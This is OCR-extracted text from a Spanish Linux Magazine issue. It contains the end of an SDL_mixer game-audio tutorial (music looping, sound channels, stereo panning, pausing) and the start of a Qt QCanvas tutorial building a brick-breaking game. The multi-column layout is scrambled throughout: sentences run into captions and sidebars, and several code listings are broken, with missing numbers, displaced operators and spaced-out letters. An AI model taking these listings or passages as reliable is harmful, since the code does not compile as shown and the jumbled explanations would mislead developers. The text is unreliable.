SDL-audio • DESARROLLO
o VOC en el disco y se cargan en memoria al comienzo del juego. Se pueden reproducir varios sonidos a la vez. La música es ligeramente diferente, puesto que sólo se puede reproducir una pieza musical a la vez. Sin embargo, esta música suele ser estereofónica y además puede estar en formato MP3 o MOD. La música puede, además, usar un decodificador externo para reproducirse, mientras que los sonidos normales no pueden. Esta diferencia ocurre porque los sonidos reproducidos en el juego son más cortos y necesitan más control (como cambios de volumen). No es muy acertado tener una aplicación externa que permita el control necesario de las características (además de la sobrecarga que generarían los procesos adicionales). Empecemos con el caso más simple: música. La música se usara con dos propósitos en Explorer Dug. El primero es acompañar la pantalla de introducción (y de salida), donde se muestra la imagen ‘Welcome to the game’ mientras la música suena hasta el final. En segundo lugar se usa para proporcionar un poco de música continua de fondo para el nivel. El primer caso cubre todos los aspectos básicos de la reproducción musical. Nuestra primera comprobación para estar seguros de que el sistema de audio funciona es muy importante. Si no es así, SDL se colgará miserablemente. La mayor parte de las funciones de SDL_mixer, incluso las relacionadas con la carga de archivos, necesitan que la biblioteca haya sido configurada, antes de poder usarse. El segundo parámetro de nuestra función Mix_playMusic es el bucle contador: Cuantas veces queremos que se realice el bucle. Bajo SDL, el significado del contador de bucle se ha de tomar literalmente. Un 1 indica ‘un bucle’, es decir la música suena dos veces. De igual forma un dos significa ‘dos bucles’ o que suene la música tres veces. Esto puede parecer confuso al principio, pero solo estamos interesados en dos casos, sin bucle o siempre en bucle, así que usaremos cero (sin bucles), para que suene una vez y menos uno que significa un número infinito de bucles. Para la música de fondo se usará esta ultima opción. Ya que sólo puede haber una pieza musical sonando a la vez, no es necesario invocar la función Mix_PlayingMusic para controlar la pieza musical. El resto del
código en el Listado 1 es bastante autoexplicativo.
el público espera que estén ahí… como el zumbido de baja frecuencia de un Destructor Espacial cuando está en el La Celda del Bloque H vacío espacial. Y un juego de ordenador Mix_PlayMusic admite varios formatos de no es diferente. ficheros (incluyendo WAV,MP3 y OGG), Crear recursos sonoros para un juego aunque la lista no es exhaustiva ni a puede ser más difícil que el diseño gráprueba de futuro. Para reproducir música fico. Normalmente tendremos suficiente en otros formatos se necesita la función con varios sonidos de tambores y percuMix_SerMusicCMD (para especisiones de un sintetizador o fuente ficar un reproductor musical de sonido. Como cada efecto de externo) y la propia herramienta. sonido debe sincronizarse con el Esta herramienta debe responder evento visual, necesitaremos la a señales especificas para pausar, latencia más baja posible. Ya que continuar y parar la reproducno podemos cambiar el formato ción musical (como se indica en Figura 1: La del búfer primario, la manera más la Tabla 1). figura del rápida de comenzar a reproducir Admitámoslo, es un método Explorer un sonido es cargar cada sonido de control muy primitivo y como Dug. Tiene en memoria al comienzo del tal no puede permitir ninguna 32x32 pixels juego. Esto minimiza el efecto del forma de ajustes del mezclador, para la comtiempo de búsqueda en en disco control de volumen o retro-llapatibilidad duro, el tiempo de carga y madas. Si queremos que el funcon Windows. cualquier proceso de conversión cionamiento sea multique se pueda necesitar. Impleplataforma, la herramienta también debe mentar los sonidos en código es muy estar disponible en las demás plataformas fácil. Simplemente crearemos una lista de y permitir las señales. Por lo tanto es de eventos que puedan usar un sonido (por menor, o área especifica, interés. ejemplo, la rotura del suelo) y después los asignaremos a un archivo de efecto de Mix_SetMusicCMD("name_of_playerU sonido especifico. _software"); /*Todas las llamadas aU PlayMusic ahora son enviadas alU reproductor externo*/ Mix_SetMusicCMD(NULL); /* RegresoU al control de reproducción interno*/
FX Mortales ¿Se han fijado en las películas como las puertas chirrían siempre? ¿Como una patada de karate hace un ruido de ‘látigo’? ¿Y cada tecla de un teclado de ordenador hace un sonido de click? Esto es gracias a un caballero llamado Jack Foley, que trabajo como editor de sonido en Universal Studios y descubrió que en el entorno limitado de una película, el público espera escuchar estos sonidos porque pueden verlos. Así que estos efectos (y otros) los graban los ingenieros de sonido directamente sobre la banda sonora de la película utilizando una técnica conocida como Foleying. El proceso también implica la recreación de sonidos en directo sobre la película que han sido inaudibles durante la filmación o añadir sonidos a sucesos que no son audibles en la vida real, pero
WWW.LINUX-MAGAZINE.ES
typedef enum {eSndPlyJump, eSndU FloorBreaks, } tSoundFX; /* U lista completa en explore.h */ TheGame.pGameSounds[eSndFloorU Breaks] = Mix_LoadWAV("snd/U floorbreak.wav"); TheGame.pGameSounds[eSndPlyU Jumps] = Mix_LoadWAV("snd/U plyjump.wav");
Listado 4: Bucle de sonido 01 int exPlaySound(tSoundFX id, int 02 x, int y, BOOL bLoop) 03 { 04 int channel; 05 if (!TheGame.pGameSounds[id] || !TheGame.bHaveAudio) 06 return -1; 07 channel = Mix_PlayChannel(-1, TheGame.pGameSounds[id], bLoop?- 1:0); 08 M i x _ V o l u m e ( c h a n n e l , MIX_MAX_VOLUME); 09 return channel; 10 }
Número 05
21
DESARROLLO • SDL-audio
Usando las enumeraciones de esta forma, haremos el código más inteligible. Podemos almacenar estos pares de id-nombre_archivo en pequeñas matrices y cargarlos usando la función exResourceSounds desde audio.c. Podemos usar esta misma enumeración para hacer referencia a la matriz cuando queramos reproducir el sonido. Mix_PlayChannel(0, TheGame.pU GameSounds[eSndFloorBreaks], 0);
En un ratito veremos los detalles de esta función.
A la Cola El número máximo de sonidos que pueden reproducirse simultáneamente está limitado por software. Lo cual significa que está limitado por la velocidad de nuestro procesador. Sin embargo no es un limite de los juegos en general, está determinado por SDL. De la misma manera en que los gráficos pueden ser manejados en el plano del software, o del hardware, los canales audio se pueden mezclar por software o por hardware. Cuando los sonidos son mezclados por software, cada muestra se combina dentro de la CPU en un único búfer primario. Esto limita el número de canales de sonido en función de la CPU y por cualquier proceso que esté funcionando en ella. La mezcla por hardware ocurre en la misma tarjeta de sonido y está limitado (arbitrariamente) por cualquier especificación que el fabricante haya usado cuando la diseñó. Es muy probable que la mezcla por hardware sea diferente en cada máquina y además es posible que no esté disponible en las arquitecturas no x86. Por lo tanto, SDL ha sido cuidadosamente limitado a la mezcla por software, que, de manera predeterminada, permite 8 canales de sonido. Podemos cambiar este limite con la siguiente función. Mix_AllocateChannels(16);
Se puede cambiar el número de canales disponibles en cualquier momento y puesto que se mezclan por software no hay costes adicionales por hacerlo así. Obviamente, si reduce el valor por debajo del número total de canales que están sonando, perderá algunos de ellos. Sin embargo, es recomendable mantener
22
Número 05
constante el número de canales a lo largo del juego, ya que esto hará más fácil la caza de errores. Los canales usados para reproducir música no entran en este cupo, pero se mezclan en el búfer primario de la misma forma. En un juego profesional, el motor de sonido puede ser más complejo que esto. Podríamos necesitar código adicional para manejar la reproducción cuando todos los canales asignables estén en uso. Normalmente esto funciona mediante el almacenamiento de los datos de sonido en estado de ‘espera’. Después cuando un canal queda disponible (después de, digamos, 2 segundos) comenzará a reproducirse el sonido, pero no desde el principio, sino 2 segundos más adelante.
La Furia Cuando el jugador salta, o cae, queremos un bucle de sonido continuo. En la “época dorada” del desarrollo de juegos los programadores creaban este tipo de efectos retocando los parámetros de los chips de sonido, o directamente en el altavoz. Por ejemplo, los tonos individuales podían sonar en función de la altura del jugador. Ahora el público espera mejor calidad de audio, los pitidos generados por el ordenador han sido reemplazados con muestras realizadas por músicos e instrumentos reales. Esto tiene sus consecuencias. Como el hardware moderno está diseñado para reproducir muestras, se ha perdido la flexibilidad del control de bajo nivel. Cambiar la tonalidad de una muestra de sonido más allá de unos cuantos semitonos la puede destrozar, creando efectos desagradables. Para lograr un efecto similar, tendremos que usar varias muestras, cada una con una afinación diferente, ya que SDL_mixer no facilita suficiente capacidad para alterar la tonalidad de una muestra. Para obtener este nivel de control deberemos escribir código a medida para mezclar nuestras muestras en el búfer primario o usar envíos (véase el cuadro Envíos) ¡Esto es demasiado
Tabla 1: Señales para Reproductores Externos de Música Acción Parar Pausa Continuar
Nombre de la señal enviada SIGTERM SIGSTOP SIGCONT
WWW.LINUX-MAGAZINE.ES
esfuerzo para nuestro jueguecito! Por tanto, buscaremos un método alternativo que implique un sonido en bucle, utilizando la función Mix_PlayChannel. int Mix_PlayChannel(int channelU , Mix_Chunk *pChunk, int numberU _of_loops);
En Explorer Dug hemos elegido reproducir una muestra muy corta, la cuál reproducimos en bucle continuamente mientras que el personaje está en el proceso de saltar o de caer. Cuando Dug aterriza, paramos la muestra, reproducimos el sonido de los pasos y continuamos. Para obtener este efecto, necesitaremos almacenar aquellos canales que estén reproduciendo un bucle. Esto se puede hacer especificando nosotros mismos los canales (lo que significa que debemos mantener manualmente una lista de que canales están libres y cuales ocupados) o dejando que SDL elija el primero que esté libre. Este ultimo es evidentemente más fácil y como la función Mix_PlayChannel admite esta facilidad, más vale que la utilicemos. Para usar esta característica, debemos pasar un -1 como identificador del canal y la función devolverá el canal libre que se utilizará. Entonces este identificador se utiliza como un controlador, de modo que si deseamos cambiar los parámetros del sonido (por ejemplo, el volumen) tan solo tenemos que hacer esto. No podemos utilizar los datos de la muestra (pChunk) como controlador debido a que un sonido puede tener varias instancias sonando en diferentes canales. En juegos más complejos es posible que esté habilitado el uso de canales específicos. Nosotros, como programadores, podemos asignar los canales concretos a grupos de sonido específicos. Éste es una situación ideal por que (además de que nunca agotaremos los canales) podemos especificar un canal (por ejemplo, el 5) para que solamente lo utilice el dialogo del jugador. Esto hace que sea más fácil determinar si el jugador está hablando, y evitar que diga dos cosas distintas a la vez. El parámetro number_of_loops funciona idénticamente a la función anterior Mix_PlayMusic. Véase el Listado 4. Una vez que el sonido se está reproduciendo, podemos pararlo a tiempo con Mix_HaltChannel(iChannel). Un problema a tener en cuenta es que, al pare-
SDL-audio • DESARROLLO
cer, en ciertas ocasiones, ésta función detiene el sonido después de que se haya reproducido la actual iteración del bucle. Es mejor mantener las muestras para bucles bastante cortas, para limitar este efecto secundario. Para reducirlo aún más, también reducimos el volumen del canal a cero. El “tiempo apropiado” en nuestro juego es cuando el jugador ha parado de caer, o cuando es golpeado por un enemigo y muere. Tenemos que tener en cuenta ambos casos, lo que explica las múltiples apariciones de nuestra función de envoltorio, exStopSound.
Espacio Infinito Ahora es el momento de agregar una cierta dimensión a nuestros sonidos. Desde el nacimiento de la estereofonía, los músicos y los realizadores de películas vienen disfrutado de la capacidad de colocar un sonido en cualquier parte del campo estéreo ¡También podemos hacer esto en los juegos! Se conoce como audio espacial. Sin embargo a la hora de escribir esto, el soporte de tarjetas de sonido 5.1 bajo Linux es mínima ¡Y el soporte bajo SDL es inexistente! Por lo tanto debemos conformarnos con la capacidad de situar los sonidos a la izquierda o a la derecha. Esto se puede hacer con la función, Mix_SetPanning(channel,leftU volume, rightvolume);
El valor de situación que calcularemos se basa en la posición del objeto en la pantalla. En 2D esto es muy simple: Cualquier objeto a la izquierda de la pantalla su sonido suena en el altavoz izquierdo y cualquier objeto a la derecha de la pantalla suena… en fin, ya coges la idea.
Listado 5: Ejecución en una ventana 01 SDL_Surface *pImg; 02 pImg = SDL_LoadBMP("gfx/dugicon.bmp") ; 03 SDL_SetColorKey(pImg, SDL_SRCCOLORKEY, SDL_MapRGB(pImg->format, 0, 255, 0)); 04 SDL_WM_SetIcon(pImg, NULL); 05 SDL_FreeSurface(pImg);
Para crear un autentico estéreo panorámico el volumen izquierdo debe disminuir en la misma porcentaje que aumenta el volumen derecho, cada uno está en un valor entre 0 y 254 (lo cual asegura que el punto medio, 127, sea un número entero). Entonces necesitamos algún código simple del escalado en el cual la posición de X de la pantalla (desde 0 hasta 639) se mapea al volumen (de 0 a 254) para el altavoz derecho. Entonces se puede calcular el volumen del altavoz izquierdo desde esto como, left_volume = 254 - U right_volume;
La documentación de SDL sugiere calcular primero el lado izquierdo, pero los números son exactamente los mismos. right = (254*x) / TheGameU .iScreenWidth; Mix_SetPanning(channel, U 254-right, right);
Como con la colisión, el problema del audio espacial llega a ser más complicado cuando se considera una tercera dimensión. Sin embargo, al contrario que con la colisión, SDL proporciona algunas funciones de ayuda para nosotros (Mix_SetDistance y Mix_SetPosition) que calculan el volumen y la información de la posición panorámica del jugador basándose en la distancia y la orientación de los objetos. Algunos lectores habrán podido observar que el método lineal de SDL, falloff, de modelar volúmenes no es el único. El proceso más habitual es especificar dos distancias para cada sonido: un rango interno y un rango externo. Cuando el jugador está dentro del rango interno, el nivel del sonido está en su volumen máximo. Si el oyente está fuera del rango externo, el sonido es inaudible. Cualquier volumen intermedio se escala. Esto hace que el sonido sea más realista. Un susurro puede tener un radio interno de 5cm, y un radio externo de 50cm, mientras que un cohete tendría un radio interno muy grande (probablemente en los centenares de metros) y un descenso igualmente grande.
Rebelde sin Pausa Por ultimo consideraremos las funciones que detienen (pause), y reanudan
WWW.LINUX-MAGAZINE.COM
Figura 2: El juego al completo
(resume), el audio del juego. Son Mix_Pause y Mix_Resume respectivamente. Ambas funciones son fáciles de utilizar y pueden pausar los canales de sonidos individualmente, o todos a la vez. Esto último es útil cuando el juego se pone en pausa. También hay funciones equivalentes a la pausa para la pista de música (Mix_PauseMusic y Mix_ResumeMusic), que en el caso de un reproductor externo de música enviará señales (según aparece en la tabla 1) a la aplicación. Para probar esta característica se ha agregado al código un pequeño menú dentro del juego (activado con la tecla de escape) que permite la pausa, recomenzar o salir del nivel.
Libre como un Pajaro Explorer Dug no es solamente un artículo de revista. Es software libre. Todo el código en esta serie está disponible bajo la GPL. Anima al lector que agregue, corrija, suprima y enrede con el juego hasta donde quiera. Cree nuevos niveles del juego, cambie el fondo, agregue nuevos sonidos o programe nuevos tipos de enemigos. Mantendré el proyecto mientras haya interés en él, así que puede mandarme un email a [4] y descargar la versión más reciente de [5]. Espero haber iluminado algunas de las lóbregas profun■ didades del desarrollo de juegos.
RECURSOS [1] SDL_mixer: http://www.libsdl.org/ projects/SDL_mixer/ [2] libvorbis: http://www.vorbis.com/ [3] SMPEG: http://icculus.org/smpeg/ [4] Email feedback: explorerdug@bluedust.com [5] Explorer Dug: http://www.bluedust. com/pub/
ISSUE 52 MARCH 2005
23
DESARROLLO • QCanvas
Construyendo un simple juego con el Qcanvas de Qt
UN LIENZO DIFERENTE
El paquete de herramientas Qt de Trolltech dispone de funciones que interesan a cualquier desarrollador, si bien una de las partes más fascinantes y poderosas del paquete de herramientas es la clase QCanvas. POR GEORGE WRIGHT
Q
Canvas es un componente muy versátil que nos permite añadir gráficos 2D de altas prestaciones a aplicaciones Qt. Con funciones como la detección de colisiones o soporte de sprites, QCanvas está muy preparado para juegos 2D. Pero QCanvas también se utiliza en diversas aplicaciones como KTurtle, un intérprete
Listado 1: Llamada a setMainWidget() 01 #include <qapplication.h> 02 #include "view.h" 03 04 i n t m a i n ( i n t a r g c , c h a r **argv) 05 { 06 QApplication a(argc, argv); 07 View *view = new View(); 08 a.setMainWidget(view); 09 view->show(); 10 return a.exec(); 11 }
24
Número 05
Logo. En este artículo os mostraré como construir un simple juego usando componentes de Qcanvas. El juego de ejemplo, el cual he llamado Bricks (Ladrillos), consiste en un área de juego rectangular que contiene muchos objetos rectangulares. Los objetos rectangulares son “ladrillos” (bricks). Una pelota rebota alrededor del área de juego. Si la pelota golpea un ladrillo, éste desaparece. Una paleta, guiada por el usuario, demuestra como podemos integrar interacción del usuario en el juego. Para mantener el juego lo más sencillo posible, la pelota no puede abandonar el área de juego. Podemos montar este juego muy rápida y fácilmente usando componentes de Qcanvas. Los pasos que debemos seguir para construir el juego son: • Definir la función principal que servirá como punto de entrada de la aplicación. • Definir la ventana principal del juego, llamada “Vista”, la cual
WWW.LINUX-MAGAZINE.ES
servirá de padre para otros componentes. • Definir e implementar la pelota. • Implementar la detección de colisiones (para hacer que la pelota bote). • Definir e implementar los objetos ladrillos. • Definir e implementar la paleta. El juego Bricks es un ejemplo muy simple, por supuesto, pero no proporcionará suficientes conocimientos para experimentar con nuestros propios programas QCanvas. Este tutorial nos enseñará que podemos escribir un efectivo juego 2D usando sólo librerías Qt y un poco código de unión.
El Programa Empezaremos a desarrollar el programa en el punto de acceso de la aplicación, usualmente contenido en main.cpp. El formato de main.cpp es exactamente el
QCanvas • DESARROLLO
Cuadro 1: Obtención de QCanvas QCanvas esta incluido de forma estándar con la distribución Qt, disponible en la página Web de Trolltech. Necesitaremos una licencia comercial para fines comerciales. No obstante, si solo planeamos escribir software que se distribuya bajo la apropiada licencia de software libre, sólo necesitaremos descargar la versión Qt Free Edition, la cual tiene licencia GPL. En el momento de escribir esto, la última versión es la 3.3.3. Podemos obtener la versión Qt Free Edition en la siguiente dirección: ftp://ftp.trolltech.com/qt/source/ qt-x11-free-3.3.3.tar.bz2. La instalación del paquete sigue la rutina estándar de los paquetes fuente, si bien Qt es un poco especial en el sentido en que instalará las librerías Qt dentro de su propio directorio. Por tanto, necesitaremos extraer el archivo tar a un directorio adecuado (como /usr/lib/qt) y compilar usando los siguientes comandos: # cd /usr/lib/qt # ./configure -system-zlib :-qt-gif -system-libpng \ -system-libjpeg -plugin-imgfmt-mng -thread -no-stl \ -no-xinerama -no-g++-exceptions # make Qt se instalará en /usr/lib/qt. Tendremos que establecer la variable de entorno QTDIR para que apunte a este directorio. No hay necesidad de ejecutar make install, puesto que la librerías Qt se instalan automáticamente en el directorio fuente principal. No obstante, es muy probable que nuestra distribución ya incluya Qt como un paquete, por lo que normalmente es mejor simplemente instalar el paquete de desarrollo de Qt de nuestra instalación original. Este normalmente se llama qt-devel o algo similar. Nuestra distribución dispondrá de una herramienta para instalar este paquete, como la utilidad de Suse YaST.
mismo que el que usaremos para cualquier otra aplicación Qt, comenzando con la inclusión de la cabecera del archivo Qapplication, qapplication.h. Ésta es la primera clase para cualquier aplicación Qt que nos permite usar las clases Qt para el programa. La función principal es muy simple, solo compuesta de código para
Listado 2: Declarando Ball 01 02 03 04 05 06 07 08 09 10 11 12
#include <qcanvas.h> class Ball : public QCanvasEllipse { public: Ball(QCanvas *canvas); ~Ball(); private: double vx; double vy; };
cargar un componente Qt como ventana principal. Para empezar, se crea un objeto QApplication, el cual representará la aplicación. A continuación tenemos el componente principal, llamado View, el cual es una clase que veremos más tarde. Éste componente servirá como la ventana principal de la aplicación donde pondremos el “lienzo”. Puesto que es la ventana principal, se llama a la función de Qapplication set-MainWidget() para usar ésta como la ventana principal (ver listado 1). Los parámetros que se pasan al constructor para QApplication han sido establecidos en valores que se pasan a la aplicación cuando se ejecuta, para que el propio Qt pueda manejarlos. Con el fin de mostrar el componente debemos llamar a la función show() para View, o de otra forma el objeto se creará, pero no se mostrará. Finalmente, la función de retorno devuelve si QApplication se ejecutó correctamente.
Clase View Ahora que main.cpp está completo es hora de continuar creando la ventana
principal del juego, View (Vista). Ésta es la ventana principal del programa y necesita ser heredado desde QWidget para quedar dispuesto como el componente principal para QApplication. En este caso, probablemente sea mejor hacer que la clase herede QMainWindow y basar la aplicación entera en esta clase. Esto es debido a que QMainWindow dispone de una función muy útil, setCentralWidget(), que nos permite añadir el lienzo como componente principal usando la disposición por defecto y, por tanto, permitiéndonos gestionar la disposición y reajustar el tamaño de los eventos para la aplicación. Primero, la clase debe ser definida en view.h (vista.h): class View : public QMainWindow { public: View(QWidget* parent = 0,U const char *name = 0); ~View(); };
Ésta es una definición para una clase llamada View que heredará la ventana principal QMainWindow. Ésta se utiliza como la ventana principal de la aplicación, y los componentes que creemos usarán ésta como el padre. Es a esta ventana a la que se añadirán los componentes QCanvas del juego. Ahora que hay una definición de clase podemos comenzar a escribir el constructor de clase en view.cpp: View::View(QWidget* parent,U const char *name)U :: QMainWindow(parent, name)
Listado 3: ball.cpp 01 #include "ball.h" 02 03 Ball::Ball(QCanvas *canvas) : QCanvasEllipse(10, 10, canvas) 04 { 05 } 06 07 Ball::~Ball() 08 { 09 } 10 11 void Ball::advance(int phase) 12 {
WWW.LINUX-MAGAZINE.ES
13 14 15 16 17 18 19
} void Ball::collisionDetect() { }
void Ball::collide(QCanvasItem *item) 20 { 21 } 22 23 void Ball::updateVelocities() 24 { 25 }
Número 05
25
DESARROLLO • QCanvas
{ } View::~View() { }
Éste es el constructor por defecto de la clase View que pasa sus argumentos a QMainWindow. No obstante, un constructor vacío es un poco aburrido y en realidad no hace nada, por lo que lo próximo será crear algunos componentes para mostrarlos en la ventana. QCanvas necesitará tanto los componentes QCanvas como QCanvasView para que las clases Qcanvas pueden ser usadas. Con el fin de añadir éstas a la ventana, deberemos declararlas en la definición de clases como private bajo la declaración de clases públicas: private: QCanvas *m_canvas; QCanvasView *m_canvasView;
Ahora pueden crearse en el constructor como objetos de la clase y QCanvasView puede ser establecida como el componente central de la ventana. Esto nos ofrecerá un espacio de trabajo QCanvas en el cual podemos añadir objetos 2D para el juego. Para crear los objetos QCanvas y QcanvasView usaremos el siguiente código en el constructor: m_canvas = new QCanvas(this); m_canvas->resize(400, 300); m_canvasView = new QCanvasViewU (m_canvas, this); m_canvasView->show();
La primera línea crea un lienzo llamado m_canvas con la ventana y su padre. La segunda línea reajusta el tamaño del lienzo a un tamaño adecuado para el juego. La tercera línea crea QCanvasView para que el usuario pueda ver el lienzo, fijando el lienzo m_canvas como su objeto Qcanvas. Ahora que han sido creados los objetos principales del juego es posible añadir QCanvasView a la ventana como componente principal: setCentralWidget(m_canvasView);
Antes de compilar esto, tendremos que añadir las cabeceras de archivos relevantes para estas clases. Todas las clases QCanvas están en qcanvas.h y la
26
Número 05
Listado 5: Declarando Brick 01 #include <qcanvas.h> 02 03 c l a s s B r i c k : p u b l i c QCanvasRectangle 04 { 05 public: 06 Brick(int x, int y, QCanvas *canvas); 07 ~Brick(); 08 };
clase QMainWindow se define en qmainwindow.h, por lo que simplemente necesitamos las siguientes líneas al principio de view.h: #include <qcanvas.h> #include <qmainwindow.h>
También tendremos que indicarle a view.cpp que incluya a view.h, puesto que contiene su declaración de la clase: #include "view.h"
Esto completa la clase View… por ahora.
La pelota Ahora que tenemos una clase que define la ventana, podemos empezar a escribir la clase que controla el movimiento de la pelota. Esta clase heredará QCanvasEllipse, puesto que éste es el elemento QCanvasItem para objetos circulares y elípticos. Puesto que será un objeto que se mueva, necesitaremos usar el sistema que QCanvas
Listado 6: Constructor de Brick 01 #include "brick.h" 02 03 Brick::Brick(int x, int y, QCanvas *canvas) 04 :QCanvasRectangle (x, y, 30, , canvas) 05 { 06 } 07 08 Brick::~Brick() 09 { 10 }
usa para objetos en movimiento. QCanvas define la velocidad como dos componentes: la velocidad en la dirección horizontal (xVelocity) y la velocidad en la dirección vertical (yVelocity). Combinados, estos componentes crean una velocidad en la dirección requerida. Para declarar la clase de la pelota usaré una declaración de clase corta en ball.h que indica a la clase que herede QCanvasEllipse (ver listado 2). Las dos variables declaradas en la sección private de las declaraciones son valores que representan las velocidades x e y de la pelota. Las funciones que modifican la velocidad de la pelota realizarán ajustes a estas variables y luego ajustarán la propia velocidad. Además esto mantendrá un registro interno de la velocidad actual. QCanvas usa dos phases (fases) en el movimiento de un objeto. La primera fase es la fase 0, donde el objeto no debería moverse, pero en su lugar realiza comproba-
Listado 4: Comprobación de colisiones 01 02 03 04 05 06 07
double nx = x() + xVelocity(); double ny = y() + yVelocity(); vx = xVelocity(); vy = yVelocity();
if ((nx - (width() / 2)) < || ( n x + ( w i d t h ( ) / 2 ) ) canvas()->width()) 08 vx = -vx; 09 if ((ny - (height() / 2)) < || (ny + (height() / 2)) canvas()->height()) 10 vy = -vy; 11 12 // Comprobar Colisiones
WWW.LINUX-MAGAZINE.ES
0 >
0 >
13 Q C a n v a s I t e m L i s t c o l L i s t = collisions(true); 14 15 for (QCanvasItemList::Iterator it = colList.begin(); it != colList.end(); ++it) { 16 QCanvasItem *check = *it; 17 18 if ( ( c h e c k - > c o l l i d e s W i t h (this))) { 19 collide(check); 20 } 21 } 22 23 updateVelocities();
QCanvas • DESARROLLO
Cuadro 2: Valores Rtti 01 QCanvasItem::Rtti_Item (Elemento) 02 QCanvasItem::Rtti_Ellipse (Elipse) 03 QCanvasItem::Rtti_Line (Línea) 04 QCanvasItem::Rtti_Polygon (Polígono) 05 QCanvasItem::Rtti_PolygonalIte m (Elemento Poligonal) 06 QCanvasItem::Rtti_Rectangle (Rectángulo) 07 QCanvasItem::Rtti_Spline (Polilínea) 08 QCanvasItem::Rtti_Sprite (Duende) 09 QCanvasItem::Rtti_Text (Texto)
ciones alrededor del objeto lienzo para ver si hay que aplicar algún caso especial que afecta a la velocidad, como por ejemplo una colisión. La segunda es la fase 1, que simplemente indica al objeto que se mueva con sus valores de velocidad (donde se pueden aplicar tanto la gravedad como la resistencia al avance si fuese necesario). Estas fases están implementadas en la función advance() y, por tanto, la clase Ball necesita reimplementar estos para permitirle realizar operaciones a medida en caso de colisión. Para recargar la función tenemos que añadir la siguiente línea a la sección public de la declaración de clase: void advance(int phase);
También es buena idea declarar una función separada en la cual el código de detección de colisión se llama, al igual que una función para realizar operaciones cuando ocurra una colisión: void collisionDetect(); void collide(QCanvasItem *item);
Y finalmente, debería haber otra función para actualizar la velocidad del objeto desde las variables internas vx y vy: void updateVelocities();
Ahora que ball.h ha sido completamente escrito es hora de proceder con ball.cpp. Primero necesitamos indicar a
ball.cpp que incluya ball.h y entonces a declarar las diversas funciones (ver listado 3). El listado 3 es una versión muy esquelética de ball.cpp con todas las funciones. La tercera línea indica a QCanvasEllipse que es una elipse de 10 pixeles de ancho y de alto y, por tanto, un círculo. También indica a QCanvasEllipse que el lienzo padre es el lienzo que ha sido pasado al constructor. QCanvasItem, heredado por QCanvasEllipse, automáticamente pinta el elemento de blanco. No obstante, esto no es una buena idea puesto que el lienzo es también de color blanco y, por tanto, la pelota sería invisible. Debido a esto tenemos que indicarle explícitamente a QCanvasEllipse que pinte de negro en el constructor de clase. Estos también lo convierte en un círculo relleno en lugar de un simple perfil: setBrush(Qt::black);
Esto es todo lo que se necesita en el constructor de la clase. Todo lo demás esta implementado en las funciones advance(), collisionDetect(), collide() y updateVelocities(). QCanvas se ocupará de llamar a advance cuando sea necesario. Como hemos mencionado antes, hay dos fases para el movimiento en las clases QCanvasItem, las cuales se representan con el argumento int phase que se pasa a la función advance(). En la fase 0 necesitamos comprobar las colisiones y en la fase 1 necesitamos mover la pelota de acuerdo a las velocidades definidas: //La función advance() if (phase == 0) { collisionDetect(); } else { moveBy(xVelocity(),U yVelocity()); }
Hasta el momento, collisionDetect() no hace absolutamente nada. No obstante, QCanvas proporciona funciones integradas de detección de colisiones que son muy potentes. Esto es lo que collisionDetect() va a utilizar para detectar posibles colisiones. Las funciones de colisión en Qcanvas se componen de dos funciones principales: collisions() y col-
WWW.LINUX-MAGAZINE.ES
lidesWith(). La primera función devuelve un indicador a QCanvasItemList de todos los objetos actuales sobre el lienzo con los que el objeto hubiera colisionado tras moverse con sus velocidades actuales. La segunda función devuelve un valor booleano que manifiesta si el objeto ha colisionado en ese momento con otro objeto. Por tanto podemos iterar a través de todos los objetos en la lista QcanvasItemList devuelta por collisions() y comprobarlos de cara a una colisión actual usando collidesWith() (ver listado 4). Las dos primeras líneas declaran dos dobles, las cuales serán las nuevas posiciones x e y de la pelota después de aplicar las velocidades. Entonces el código procede a aplicar los valores internos vx y vy a las velocidades x e y actuales de la pelota. Las dos sentencias if hacen una comprobación de la posición futura de la pelota para ver si estará fuera del lienzo e invertir la velocidad en la dirección relevante si fuese necesario. Por ejemplo, si la pelota se fuese fuera del lienzo por la parte derecha invertirá la velocidad de la pelota para que comience a moverse de derecha a izquierda en lugar de desde la izquierda a la derecha. La función updateVelocities() simplemente asigna la velocidad actual a la pelota a las variables vx y vy usando la función de setvelocity() de Qcanvas. La función sólo necesita contener: setVelocity(vx, vy);
Detección de Colisiones La siguiente es la parte interesante, puesto que entra en acción la detección
Listado 7: generateTable() 01 void View::generateTable() 02 { 03 m_bricks = new BrickArray(1); 04 int xPos = 1, yPos = 1; 05 int numOfBricks = 10; 06 f o r ( i n t i = 0 ; i < numOfBricks; ++i) { 07 xPos = (i * 30) + 1; 08 m_bricks->push_back(new 09 Brick (xPos, yPos, m_canvas)); 10 m_bricks->last()->show(); 11 } 12 }
Número 05
27
DESARROLLO • QCanvas
de colisiones interna de Qcanvas. Primero se crea una lista QCanvasItemList con todos los elementos del lienzo con los que la pelota puede colisionar. Esto se obtiene mediante la función collisions() que usa un valor booleano como argumento. Si el valor booleano es false (falso) significa que la detección de colisión no es muy precisa. Por otro lado, si el valor es true (verdadero), QCanvas realizará una detección de colisión precisa. Ahora que tenemos una lista QCanvasItemList de todos los posibles candidatos a colisionar es posible iterar a través de dicha lista usando QCanvasItemList::iterator y comprobando cada elemento individualmente en busca de colisiones usando la función collidesWith(). Esta última, de nuevo, usa un argumento booleano que elige entre la detección precisa y la imprecisa. Esto proporcionará una indicación al elemento con el que la pelota ha colisionado, pero sin indicación de que objeto se trata, por lo que se llama a la función collide().
Ladrillos Si bien ahora tenemos una pelota, esta no es muy útil si no tenemos nada con lo que hacerla colisionar. Por tanto es el momento de declarar una nueva clase en brick.h, que hereda de QCanvasRectangle. La clase brick describirá los ladrillos con los que colisionará la pelota y los cuales “romperá” (ver listado 5). El listado 5 se declara una clase llamada Brick (Ladrillos) que hereda QCanvasRectangle. El constructor tiene dos valores enteros extras que definen las coordenadas x y y de su localización. El constructor y las funciones deben estar en brick.cpp. Ésta es una clase muy simple porque lo único que tiene que hacer es crear un rectángulo de tamaño fijo (ver listado 6).
Identifiquémonos Todos y cada uno de los elementos QCanvasItem tiene un número de identificación único llamado el valor rtti. Las clases que hemos derivado desde cualquiera de los objetos QCanvas deberían mostrar sus únicos valores rtti mediante la reimplementación de la función rtti(). Los valores rtii de los elementos QCanvas estándar están definidos en el tipo enumerado en
28
Número 05
Ball en brick.h. En brick.cpp, las cosas son un poco diferente: int Brick::rtti() const { return Rtti_Brick; }
Figura 1: ¡Tenemos una pelota rebotando!
